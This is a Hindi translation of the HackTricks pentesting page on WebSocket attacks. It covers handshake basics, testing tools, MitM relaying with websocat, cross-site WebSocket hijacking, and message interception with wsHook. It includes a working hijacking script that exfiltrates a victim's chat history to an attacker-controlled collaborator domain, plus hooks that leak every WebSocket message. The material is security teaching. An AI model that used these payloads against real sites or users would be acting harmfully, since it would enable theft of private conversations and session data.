hacktricks/pentesting-web/websocket-attacks.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

23 KiB

WebSocket हमले

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग चाहिए? SUBSCRIPTION PLANS की जांच करें!
  • खोजें The PEASS Family, हमारा विशेष NFTs संग्रह
  • प्राप्त करें आधिकारिक PEASS & HackTricks swag
  • शामिल हों 💬 Discord समूह या telegram समूह या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
  • अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें hacktricks repo और hacktricks-cloud repo को.

WebSockets क्या होते हैं

WebSocket कनेक्शन HTTP के माध्यम से प्रारंभ किए जाते हैं और आमतौर पर लंबे समय तक चलते हैं। संदेश किसी भी समय दोनों दिशाओं में भेजे जा सकते हैं और प्रक्रियात्मक नहीं होते हैं। कनेक्शन सामान्यतः खुला और आराम से रहेगा जब तक कि या तो क्लाइंट या सर्वर संदेश भेजने के लिए तैयार न हों।
WebSockets विशेष रूप से उन स्थितियों में उपयोगी होते हैं जहां कम लैटेंसी या सर्वर-प्रेरित संदेश की आवश्यकता होती है, जैसे वाणिज्यिक डेटा की वास्तविक समय पर फ़ीड।

WebSocket कनेक्शन कैसे स्थापित होते हैं?

(यहां आपको एक सारांश मिलेगा लेकिन एक वेब सॉकेट कनेक्शन कैसे स्थापित किया जाता है के बारे में एक और विस्तृत गाइड यहां मिलेगा (https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)।
WebSocket कनेक्शन आमतौर पर निम्नलिखित तरह के क्लाइंट-साइड जावास्क्रिप्ट का उपयोग करके बनाए जाते हैं:

var ws = new WebSocket("wss://normal-website.com/ws");

wss प्रोटोकॉल एक एन्क्रिप्टेड TLS कनेक्शन पर एक WebSocket स्थापित करता है, जबकि ws प्रोटोकॉल एक अनएन्क्रिप्टेड कनेक्शन का उपयोग करता है।

कनेक्शन स्थापित करने के लिए, ब्राउज़र और सर्वर एक WebSocket हैंडशेक को HTTP के माध्यम से करते हैं। ब्राउज़र एक WebSocket हैंडशेक अनुरोध जारी करता है जैसा कि निम्नलिखित है:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

अगर सर्वर कनेक्शन स्वीकार करता है, तो वह निम्नलिखित तरह का वेबसॉकेट हैंडशेक प्रतिक्रिया लौटाता है:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

इस बिंदु पर, नेटवर्क कनेक्शन खुली रहती है और इसे दोनों दिशाओं में WebSocket संदेश भेजने के लिए उपयोग किया जा सकता है।

नोट

WebSocket हैंडशेक संदेशों की कई विशेषताएं ध्यान देने योग्य हैं:

  • अनुरोध और प्रतिक्रिया में Connection और Upgrade हेडर इसका संकेत देते हैं कि यह एक WebSocket हैंडशेक है।
  • Sec-WebSocket-Version अनुरोध हेडर में वेबसॉकेट प्रोटोकॉल संस्करण निर्दिष्ट करता है जिसे क्लाइंट उपयोग करना चाहता है। यह आमतौर पर 13 होता है।
  • Sec-WebSocket-Key अनुरोध हेडर में एक Base64-संकेतित यादृच्छिक मान होता है, जिसे हर हैंडशेक अनुरोध में यादृच्छिक रूप से उत्पन्न किया जाना चाहिए।
  • Sec-WebSocket-Accept प्रतिक्रिया हेडर में Sec-WebSocket-Key अनुरोध हेडर में प्रस्तुत किए गए मान का एक हैश होता है, जिसे प्रोटोकॉल निर्दिष्टि में परिभाषित एक विशिष्ट स्ट्रिंग के साथ जोड़ा जाता है। इसका उद्देश्य गलत रूप से कॉन्फ़िगर किए गए सर्वर या कैशिंग प्रॉक्सी से होने वाले गलत प्रतिक्रियाओं को रोकना है।

Sec-WebSocket-Key हेडर में एक यादृच्छिक मान होता है जो कैशिंग प्रॉक्सी से त्रुटियों को रोकने के लिए होता है, और इसे प्रमाणीकरण या सत्र संचालन के उद्देश्यों के लिए उपयोग नहीं किया जाता है (यह CSRF टोकन नहीं है।)

लिनक्स कंसोल

आप websocat का उपयोग करके वेबसॉकेट के साथ एक रॉ कनेक्शन स्थापित कर सकते हैं।

websocat --insecure wss://10.10.10.10:8000 -v

या एक websocat सर्वर बनाने के लिए:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM वेबसॉकेट कनेक्शन

यदि आपको पता चलता है कि आपके मौजूदा स्थानीय नेटवर्क से क्लाइंट HTTP वेबसॉकेट से कनेक्ट हैं, तो आप ARP Spoofing Attack का प्रयास कर सकते हैं ताकि क्लाइंट और सर्वर के बीच MitM हमला कर सकें।
क्लाइंट कनेक्ट करने की कोशिश कर रहा है तो आप निम्नलिखित का उपयोग कर सकते हैं:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets जांच

आप वेबसॉकेट में ज्ञात सुरक्षा दुरुपयोगों की खोज, फिंगरप्रिंट और खोज करने के लिए टूल https://github.com/PalindromeLabs/STEWS का उपयोग कर सकते हैं।

वेबसॉकेट डीबग टूल

  • Burp Suite नियमित HTTP संचार के लिए वेबसॉकेट संचार का MitM समर्थन करता है।
  • socketsleuth Burp Suite एक्सटेंशन आपको वेबसॉकेट संचार को बेहतर ढंग से प्रबंधित करने की अनुमति देगा, इतिहास प्राप्त करने, अवरोधन नियम सेट करने, मिलान और प्रतिस्थापन नियम का उपयोग करने, Intruder और AutoRepeater का उपयोग करने के लिए।
  • WSSiP: "WebSocket/Socket.io Proxy" के लिए छोटा नाम, यह टूल, Node.js में लिखा गया, उपयोगकर्ता इंटरफ़ेस प्रदान करता है ताकि उपयोगकर्ता और सर्वर के बीच सभी वेबसॉकेट और सॉकेट.आईओ संचार को देख सकें।
  • wsrepl एक इंटरैक्टिव वेबसॉकेट REPL है जो व्यापारिक परीक्षण के लिए विशेष रूप से डिज़ाइन किया गया है। यह आने वाले वेबसॉकेट संदेशों का अवलोकन करने और नए संदेश भेजने के लिए एक इंटरफ़ेस प्रदान करता है, जिसमें इस संचार को स्वचालित करने के लिए एक सुविधाजनक ढांचा होता है।
  • https://websocketking.com/ यह एक वेब है जिसका उपयोग वेबसॉकेट का उपयोग करके अन्य वेबसाइटों के साथ संवाद करने के लिए किया जाता है।
  • https://hoppscotch.io/realtime/websocket इसके अलावा अन्य प्रकार के संचार/प्रोटोकॉलों के साथ, यह एक वेब है जिसका उपयोग वेबसॉकेट का उपयोग करके अन्य वेबसाइटों के साथ संवाद करने के लिए किया जाता है।

वेबसॉकेट लैब

Burp-Suite-Extender-Montoya-Course में आपको वेबसॉकेट का उपयोग करके एक वेब लॉन्च करने के लिए कोड मिलेगा और इस पोस्ट में आपको विवरण मिलेगा।

क्रॉस-साइट वेबसॉकेट हाइजैकिंग (CSWSH)

इसे क्रॉस-साइट रिक्वेस्ट फ़ॉर्जरी (CSRF) के रूप में भी जाना जाता है।
यह वेबसॉकेट हैंडशेक पर क्रॉस-साइट रिक्वेस्ट फ़ॉर्जरी (CSRF) हैंडशेक है।

यह उत्पन्न होता है जब वेबसॉकेट हैंडशेक अनुरोध केवल HTTP कुकीज़ का उपयोग सत्र संचालन के लिए करता है और किसी भी CSRF टोकन या अन्य अप्रत्याशित मान नहीं होता है।
एक हमलावर अपने खुद के डोमेन पर एक विकल्पी वेब पृष्ठ बना सकता है जो विकल्पी एप्लिकेशन के साथ क्रॉस-साइट वेबसॉकेट कनेक्शन स्थापित करेगा। एप्लिकेशन विकल्पी उपयोगकर्ता के सत्र के संदर्भ में कनेक्शन को संभालेगा।

सरल हमला

ध्यान दें कि वेबसॉकेट कनेक्शन स्थापित करते समय कुकी सर्वर को भेजी जाती हैसर्वर इसे उपयोग कर सकता है ताकि हर विशेष उपयोगकर्ता को उसके वेबसॉकेट सत्र से संबंधित कर सकें

फिर, यदि उदाहरण के लिए वेबसॉकेट सर्वर एक उपयोगकर्ता के संवाद का इतिहास वापस भेजता है अगर "READY" नामक संदेश के साथ भेजा जाता है, तो एक सरल XSS कनेक्शन स्थापित करने पर (विक्टिम उपयोगकर्ता को अधिकृत करने के लिए कुकी स्वचालित रूप से भेजी जाएगी) "READY" भेजने से वह संवाद का इतिहास प्राप्त कर सकेगा।

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

क्रॉस ओरिजिन + कुकी अलग सबडोमेन के साथ

इस ब्लॉग पोस्ट https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ में हमलावर्ती ने डोमेन के उप-डोमेन में अनियमित जावास्क्रिप्ट को क्रियान्वित किया। क्योंकि यह एक उप-डोमेन था, इसलिए कुकी भेजी जा रही थी, और क्योंकि वेबसॉकेट ने मूल कोष की जांच सही ढंग से नहीं की, इससे इसके साथ संवाद करना और इससे टोकन चुरा सकना संभव था।

उपयोगकर्ता से डेटा चुराना

उस वेब एप्लिकेशन की प्रतिष्ठा करने के लिए (उदाहरण के लिए .html फ़ाइलें) कॉपी करें और स्क्रिप्ट के अंदर जहां वेबसॉकेट संवाद हो रहा है, इस कोड को जोड़ें:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

अब https://github.com/skepticfx/wshook से wsHook.js फ़ाइल डाउनलोड करें और इसे वेब फ़ाइलों के साथ फ़ोल्डर में सहेजें
वेब एप्लिकेशन को उजागर करके और उपयोगकर्ता को इससे कनेक्ट कराने के बाद, आप वेबसॉकेट के माध्यम से भेजे गए और प्राप्त किए गए संदेशों को चुरा सकेंगे:

sudo python3 -m http.server 80

रेस कंडीशन्स

वेबसॉकेट में रेस कंडीशन्स भी होते हैं, इस जानकारी को जानने के लिए यहां देखें

अन्य सुरक्षा दुर्बलताएं

वेबसॉकेट्स एक ऐसी तंत्र हैं जिसके माध्यम से डेटा को सर्वर साइड और क्लाइंट साइड पर भेजा जा सकता है, सर्वर और क्लाइंट जिस प्रकार से जानकारी का निपटारा करते हैं, वेबसॉकेट्स का उपयोग करके XSS, SQLi या किसी अन्य सामान्य वेब दुर्बलता का शोध किया जा सकता है जब उपयोगकर्ता के इनपुट को वेबसॉकेट से प्राप्त किया जाता है।

वेबसॉकेट स्मगलिंग

यह दुर्बलता आपको प्रतिरोधी प्रॉक्सी की सीमाओं को अनदेखा करने की अनुमति देती है और उन्हें यह विश्वास कराने की बात करती है कि एक वेबसॉकेट संचार स्थापित हो गया है (यद्यपि यह सच नहीं है)। इससे हमलावर को छिपे हुए अंत-बिंदुओं तक पहुंचने की अनुमति मिल सकती है। अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

संदर्भ

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप चाहते हैं कि आपकी कंपनी HackTricks में विज्ञापित हो? या क्या आप PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की इच्छा रखते हैं? सदस्यता योजनाएं की जांच करें!
  • खोजें The PEASS Family, हमारा विशेष NFT संग्रह।
  • प्राप्त करें आधिकारिक PEASS और HackTricks swag
  • शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे ट्विटर पर फ़ॉलो करें 🐦@carlospolopm.
  • अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो में पीआर जमा करके hacktricks repo और hacktricks-cloud repo को फॉलो करें।